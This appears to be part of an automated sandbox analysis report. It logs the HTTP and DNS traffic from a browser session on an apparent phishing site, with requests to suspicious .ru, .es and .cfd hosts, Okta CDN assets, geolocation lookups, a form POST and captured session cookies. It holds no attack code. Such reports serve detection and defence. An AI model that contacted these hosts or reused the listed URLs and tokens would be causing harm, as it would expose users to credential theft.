laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijroFnG3M60J3FhNqOM0FGt8JF3y59e2lJkLklr1EsoLL8YoDCMTx8tUgChmhe8g12209 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ruhlamat.brightnexst.ru/prkxyeslqhqbklcuenqPORQSII20JW0WOYTG1D4UBBK?RRSIMQRMVOBPPETIPBNPYRAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: application/json, text/javascript, /; q=0.01sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Origin: https://ruhlamat.brightnexst.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ruhlamat.brightnexst.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/bcg/4/gfsh9pi7jcWKJKMAs1t7 HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /uvLvmC7l9w6480rnXql6LUVFUbTd0WjQdeb8poxJQbYUmnIyfJrvMhrwlvuHTsXAZqdgh260 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkN6cFU0QW5QTmtDQlgrZlhsSmwxSkE9PSIsInZhbHVlIjoicmIySUFSaENNZnF2VVJpT1dFNDUxaHlSdzE0eFVPdHl6VTR1NG0xcndsZEZ1ZDVtMFpMbnU3RWJ1K05YYVBhV3I4TzFxYWYyZHc1MjFUOFZ4am1mYnBHU0hVdVZvSEVyTWhqbjhYMkg3UG1JdzhCL3grVXBUVDlhQndCbFRLOGwiLCJtYWMiOiI5OWQ4YmI3OWU2MGM4NjljMGE5ZmQ4NTQ4MjM0MDEwMWE5NWY3MDEyYTk1MTJhZDE3MzMyNDAyMTU1OGE0M2JjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkM1a1NRZjJqZkJLR2FyWElGUVhkc2c9PSIsInZhbHVlIjoiZ0JwOGQvdHAwNEZhNEorWXpaNjlPS1V3Sit5cGU3YU1ueTg1UUcvZjN4bUs3VEtVbWxkTktNNkt0Q3ZnMGpEUGV3RjhNS2s5NE12WUNsVGR4SG0vVDdLS21WMU9KeGZtdXQyemJaYSs1azE0TkJWYTVtelYrbWZKbjMyZ3FxZDUiLCJtYWMiOiJhOGJlYjUzMDgzNjUyNWQ3NjEzNjI5YjY5YjEyNjE5ZWMzMmRkZjZhMTAwZTFmZDMwZDU1ZDYzODQ5MTU3NzI4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /v1/ip/geo.json HTTP/1.1Host: get.geojs.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqMeibuqaIIi6X12DrhDLkKwx40 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /hduU8spnEoO9ZYfUO0wu63kjzooF7mnL3dwOCWVUS1TdK0PeEYzlc HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlpkSGFkdzc4VmdOOFB1WVh4YlhMT0E9PSIsInZhbHVlIjoiYnYwa3J0MUtycU9Fajd6K1ZXZU9EZmJ0QWZNeGlObnluS3BQdkNTbWNXYjMraWorOHFMbkNydW5lTmE2OXdqb3JYaEJwOXdYUC9wbjRzSTk5TEtIZTJsVThDSk10VTI3cDBEUy8zMXlIUzdpR2N0bElPblJBZ1ZLMllBN0F1MzciLCJtYWMiOiJiNjgzZTUwOTk1NWFmYzc4NjJkM2YzMjIwNjYyYmJkZTZiOTlkN2I4MzFkOTliYWY3YWRhNjJkZGJiOTM5MjQ4IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjV5RmxTNjZQZUlheWgrSTRBNHB2ZlE9PSIsInZhbHVlIjoiRjFNMUxhWURnZGhWUGdHbkpSYTR2QmVnaURYWGlzZ1l3Y1ZLeDMvRVhYSWtoRHNjbWtuaVRoUXVQK05FdmVRL2dwRXdlblhuYi9xZ2REMEFkczBsbE1ueGh4ZlcxMkVMVlk5bmpTTUFya3ZvejUzN2NCa1BBYWx5US9LVVJoeEIiLCJtYWMiOiI5MWRiMGFmYzEzN2FmMDI5MTk3MWRkMzk4ZDllMWJjMmNiNTc2YzFiODZlZWNmNWE4ZmQzODViOGI4MjljODc2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqlpiRP2MHoiE34DmfNiuv40 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsMnFaALSjyzF1MPRM9wx40 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrscb0gw934npILwx34 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqiustAKjhbPSPBZ34Fjuv40 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrs8j7nQAKBBl12sJW4Owx39 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsLWhEQvrYSwn6Myz8CKuv40 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMpqSDZd1IUlwpdThV34JGwx38 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /5785421689980698729XwULRgXREKWIMKOTFFBNWLBKYDORQOQCDFIBODKQMrsQltPvjcyzmSO1uv32 HTTP/1.1Host: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.esConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /r/gsr1.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Tue, 07 Jan 2025 07:28:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog
Source: global traffic	HTTP traffic detected: GET /r/r4.crl HTTP/1.1Cache-Control: max-age = 3000Connection: Keep-AliveAccept: /If-Modified-Since: Thu, 25 Jul 2024 14:48:00 GMTUser-Agent: Microsoft-CryptoAPI/10.0Host: c.pki.goog

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a7hz6ilpu3.woofradio.cfd
Source: global traffic	DNS traffic detected: DNS query: ruhlamat.brightnexst.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: developers.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: fobf2.qxwhvv.ru
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: github.com
Source: global traffic	DNS traffic detected: DNS query: ok4static.oktacdn.com
Source: global traffic	DNS traffic detected: DNS query: objects.githubusercontent.com
Source: global traffic	DNS traffic detected: DNS query: get.geojs.io
Source: global traffic	DNS traffic detected: DNS query: mjej7agr0lx2cyx2dfkqlimneuu922fvfgmebt47423dt8pkl9lngpoc.amayaxw.es

Source: unknown

HTTP traffic detected: POST /nmRYy4ssaQWPj7CPMYEm8BmTefH6bqt1U8Yw5 HTTP/1.1Host: ruhlamat.brightnexst.ruConnection: keep-aliveContent-Length: 809sec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryIIvpAHRHJIkUyYrksec-ch-ua-mobile: ?0Accept: */*Origin: https://ruhlamat.brightnexst.ruSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ruhlamat.brightnexst.ru/pax6lf1/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImJpcGFRRXdBaUdUanBoSUwrdGhneWc9PSIsInZhbHVlIjoiRHp5bVlrZS82VXYwd1F3VjdUemtHYjRzdGZFeEFlbDVHMitrZ1BvWW1VeHhPLzlwWTlhWkh6TjVXaTBNOUIxb2hCMnpLUDNVb0QrWjMyYUF2NC84K1RhUkNwNVFIYmZSZ0lrbkM0TVNjd1lMYkdIUGJuREdXSGkxMHp5YXFibWwiLCJtYWMiOiI1NWY1M2QzM2NkYWExMjc0NTQ1N2RkNjBmOTI4YmNlYzcyNjUwNTA4Y2E1ZTkyNzY4NjEzYWIxYTM2MzY2MjQyIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkRTa0gvczNTUEJ0R0szRkxKbmJVOEE9PSIsInZhbHVlIjoidXp5ZVVOMU1qYzBSQ05BUGJzZHVLUUZvSUU5VEhOS0dJNlJMYTBzd081YkU5UGVIa2tWUUZnaHp1S01xWDFVV294WkJUWnZ1Q0kraHErODdLekFzcDV4S1pGa3ltMjVvVzljMWdDTlh0bFh6N25XVWwwWlIvYTNuNjcva1J6bHEiLCJtYWMiOiJhNmFlY2NjZjAyMzliYzc0MTg0YjczMjAzNWRlMjY1MGNmNDg4ZTJlYjU3MDUyNGRlOGU4YjBhYzFjOWYyYzUxIiwidGFnIjoiIn0%3D

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 08:10:38 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vue0I0aNVHPA3jsV4mJWyoguMY3rZgaRMrdPPVBMaJAa8JU2BVpcR%2B7hLeGx3eWCpfexPZ33P5r9HakWrYpki8u0YwBVm7D0dvzR9RxiUJS3b6GH6lxgQaWyw%2Fna"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1165&min_rtt=1157&rtt_var=339&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2058&delivery_rate=2427493&cwnd=251&unsent_bytes=0&cid=81feaf90c70c26ab&ts=88&x=0"Server: cloudflareCF-RAY: 9223413458b59867-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2029&min_rtt=2026&rtt_var=767&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1719&delivery_rate=1419543&cwnd=224&unsent_bytes=0&cid=fce62060a3671527&ts=412&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 08:10:39 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iduM%2FhCC0vx09d8V6C5n7VjOQSb781f041QIb2gQdx0Dne8lV49y5AREk4XDJ2GAcuaU1PiI8Ka5q7%2BzeI3DKLaMtR90lr7rkEXbmSvLuoeWriPxR%2Fkb3%2Fv60YH8"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1003&min_rtt=997&rtt_var=292&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2065&delivery_rate=2811650&cwnd=250&unsent_bytes=0&cid=48dcba187a1f2633&ts=84&x=0"Server: cloudflareCF-RAY: 9223413d0b8c18ee-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1494&min_rtt=1476&rtt_var=566&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1726&delivery_rate=1978319&cwnd=146&unsent_bytes=0&cid=544212fe5a8b2d99&ts=485&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 08:10:43 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICvary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BMIM3BUeKU%2BKtRPneg7h7Cj4muAwWvpmXQKtM9QRZkVsFuTwDrmutRrijI1wJPsRn4HI5vpwphDNM%2BROYSND1TfExmyl%2BMl5DYSlxyvdCSPLqzJa8hAuMSnI3xCj"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}server-timing: cfL4;desc="?proto=TCP&rtt=1142&min_rtt=1132&rtt_var=445&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2074&delivery_rate=2383539&cwnd=251&unsent_bytes=0&cid=c448dc0734c1e380&ts=79&x=0"Server: cloudflareCF-RAY: 9223415369c11a07-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2005&min_rtt=1984&rtt_var=786&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1735&delivery_rate=1355617&cwnd=213&unsent_bytes=0&cid=b5be165c77083c5a&ts=538&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 08:10:46 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=StSCr%2BoDKQ5%2BfIzmHMgeQQMDA3g8rAwrrS4QKPPE2EHTv1jDmnsBex%2BG2NSTOwJyN8FjvjQZWwWxU%2FReVPWA3IPJzhE0YOQM%2FdUBM2o8urFO5EHvOW2OYR5Fd%2BeU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingserver-timing: cfL4;desc="?proto=TCP&rtt=1116&min_rtt=1066&rtt_var=340&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2827&recv_bytes=2309&delivery_rate=2452159&cwnd=251&unsent_bytes=0&cid=d20771fea91110d3&ts=123&x=0"Cache-Control: max-age=14400CF-Cache-Status: MISSServer: cloudflareCF-RAY: 92234167ba4eda06-EWRalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1989&min_rtt=1981&rtt_var=759&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2833&recv_bytes=1970&delivery_rate=1427872&cwnd=121&unsent_bytes=0&cid=818ffc8c7495fa08&ts=434&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 18 Mar 2025 08:10:58 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: cloudflareCf-Cache-Status: DYNAMICVary: accept-encodingReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=teqook06zvhvkJIXYr9iQdZM3%2Bqd69ogdPFPqlIG8u759y58AtxIFsPnJ0WtLvAY4UKYi0f0NvdgF%2BjMjuiwtt0cWjaSGxdBgwGlnhWMxEZgWGQNhbQRE67tTWXm"}],"group":"cf-nel","max_age":604800}Nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server-Timing: cfL4;desc="?proto=TCP&rtt=1086&min_rtt=1073&rtt_var=411&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2826&recv_bytes=2074&delivery_rate=2698974&cwnd=251&unsent_bytes=0&cid=bd3f3906c7676c1f&ts=85&x=0"CF-RAY: 922341aa7e3cd911-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_120.1.dr	String found in binary or memory: http://github.com/fent/randexp.js/raw/master/LICENSE
Source: chromecache_120.1.dr	String found in binary or memory: https://github.com/fent)
Source: chromecache_102.1.dr	String found in binary or memory: https://www.homedepot.com

Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
